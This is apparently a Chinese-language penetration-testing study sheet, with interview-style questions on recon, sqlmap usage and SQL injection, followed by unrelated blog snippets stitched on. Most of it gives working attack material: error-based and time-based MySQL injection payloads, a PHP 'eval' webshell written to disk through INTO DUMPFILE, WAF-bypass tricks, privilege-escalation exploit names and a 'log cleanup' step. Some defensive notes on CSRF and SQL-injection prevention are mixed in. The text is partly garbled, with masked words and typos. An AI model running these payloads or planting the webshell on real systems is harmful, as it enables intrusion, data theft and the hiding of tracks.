1) 資訊收集:
獲取網域名稱的whois資訊,獲取註冊者郵箱姓名**等。
查詢伺服器旁站以及子網域名稱站點,因為主站一般比較難,所以先看看旁站有沒有通用性的cms或者其他漏洞。
檢視伺服器作業系統版本,web中介軟體,看看是否存在已知的漏洞,比如iis,apache,nginx的解析漏洞
檢視ip,進行ip位址埠掃瞄,對響應的埠進行漏洞探測,比如 rsync,心臟出血,mysql,ftp,ssh弱口令等。
掃瞄**目錄結構,看看是否可以遍歷目錄,或者敏感檔案洩漏,比如php探針
google hack 進一步探測**的資訊,後台,敏感檔案
2)漏洞掃瞄
遠端命令執行,弱口令,上傳,編輯器漏洞,暴力破解等
3)漏洞利用
利用以上的方式拿到webshell,或者其他許可權
4)許可權提公升
提權伺服器,比如windows下mysql的udf提權,serv-u提權,windows低版本的漏洞,如iis6,pr,巴西烤肉,
linux藏牛漏洞,linux核心版本漏洞提權,linux下的mysql system提權以及oracle低許可權提權
5) 日誌清理
6)總結報告及修復方案
1)如果是get型號,直接,sqlmap -u "諸如點**".
2) 如果是post型諸如點,可以sqlmap -u "注入點**」 --data="post的引數"
3)如果是cookie,x-forwarded-for等,可以訪問的時候,用burpsuite抓包,注入處用*號替換,放到檔案裡,然後sqlmap -r "檔案位址"
sql 注入的幾種型別?
1)報錯注入
2)bool型注入
3)延時注入
4)寬位元組注入
1)and extractvalue(1, concat(0x7e,(select @@version),0x7e))】】】----------------
2)通過floor報錯 向下取整
3)+and updatexml(1, concat(0x7e,(secect @@version),0x7e),1)
4)geometrycollection()select * from test where id=1 and geometrycollection((select * from(select * from(select user())a)b));
5)multipoint()select * from test where id=1 and multipoint((select * from(select * from(select user())a)b));
6)polygon()select * from test where id=1 and polygon((select * from(select * from(select user())a)b));
7)multipolygon()select * from test where id=1 and multipolygon((select * from(select * from(select user())a)b));
8)linestring()select * from test where id=1 and linestring((select * from(select * from(select user())a)b));
9)multilinestring()select * from test where id=1 and multilinestring((select * from(select * from(select user())a)b));
10)exp()select * from test where id=1 and exp(~(select * from(select user())a));
延時注入如何來判斷?
if(ascii(substr(「hello」, 1, 1))=104, sleep(5), 1)
(1)盲注和延時注入的共同點?
都是乙個字元乙個字元的判斷
(2)如何拿乙個**的webshell?
上傳,後台編輯模板,sql注入寫檔案,命令執行,**執行,一些已經爆出的cms漏洞,比如dedecms後台可以直接建立指令碼檔案,wordpress上傳外掛程式包含指令碼檔案zip壓縮包等
(3)sql注入寫檔案都有哪些函式?
select '一句話' into outfile '路徑'
select '一句話' into dumpfile '路徑'
select '<?php eval($_post[1]) ?>' into dumpfile 'd:\\wwwroot\
\nvhack.php';
(4)如何防止csrf?
1、驗證referer
2、驗證token
詳細:**cnode社群如何防止csrf攻擊 - cnode技術社群
(5)owasp 漏洞都有哪些?
1、sql注入防護方法:
2、失效的身份認證和會話管理
3、跨站指令碼攻擊xss
4、直接引用不安全的物件
5、安全配置錯誤
6、敏感資訊洩露
7、缺少功能級的訪問控制
8、跨站請求偽造csrf
9、使用含有已知漏洞的元件
10、未驗證的重定向和**
(6)sql注入防護方法?
1、使用安全的api
2、對輸入的特殊字元進行escape轉義處理
3、使用白名單來規範化輸入驗證方法
4、對客戶端輸入進行控制,不允許輸入sql注入相關的特殊字元
5、伺服器端在提交資料庫進行sql查詢之前,對特殊字元進行過濾、轉義、替換、刪除。
會以php方式來解析
1. get /pen/news.php?id=1 union select user,password from mysql.user
1. get /pen/news.php/admin?id=1 union select user,password from mysql.user
1. get /pen/admin/..\news.php?id=1 union select user,password from mysql.user
6、multipart請求繞過,在post請求中新增乙個上傳檔案,繞過了絕大多數waf。
7、引數繞過,複製引數,id=1&id=1
用一些特殊字元代替空格,比如在mysql中%0a是換行,可以代替空格,這個方法也可以部分繞過最新版本的安全狗,在sqlserver中可以用/**/代替空格
8、內聯注釋,
檔案上傳,複製檔案包乙份再加乙份
在 form-data;後面增加一定的字元
寬字元注入
寬字元:解 決方法:就是在初始化連線和字符集之後,使用set character_set_client=binary來設定客戶端的字符集是二進位制的。修改windows下的mysql配置檔案一般是 my.ini,linux下的mysql配置檔案一般是my.cnf,比如:mysql_query("setcharacter_set_client=binary");。character_set_client指定的是sql語句的編碼,如果設定為 binary,mysql就以二進位制來執行,這樣寬位元組編碼問題就沒有用武之地了。
滲透測試初步學習之資訊收集
資訊收集的主要目的是為了制定下一步的攻擊方案。那資訊收集要收集哪些資訊?是否存在cdn 1 簡介 cdn的全稱是content delivery network,即內容分發網路。其基本思路是盡可能避開網際網路上有可能影響資料傳輸速度和穩定性的瓶頸和環節,使內容傳輸的更快 更穩定。通過在網路各處放置節...
滲透測試學習筆記 初識滲透測試
黑客活動 hacking 道德黑客 ethical hacking 白帽黑客 white hat hacking poc proof of concept,概念證明。pt penetration testing或者pen testing,滲透測試。apt advanced package tool,...
滲透測試學習路線
滲透測試學習之前基礎 計算機網路 作業系統 對windows linux作業系統熟悉,對常用命令了解 資料庫 程式語言 web應用開發 前端後端 門級別的 web安全滲透剖析 高階級別的 帽 講web安全 絡攻防實戰研究 漏洞利 與提權 web入侵安全測試與對策 metasploit滲透測試魔鬼訓練...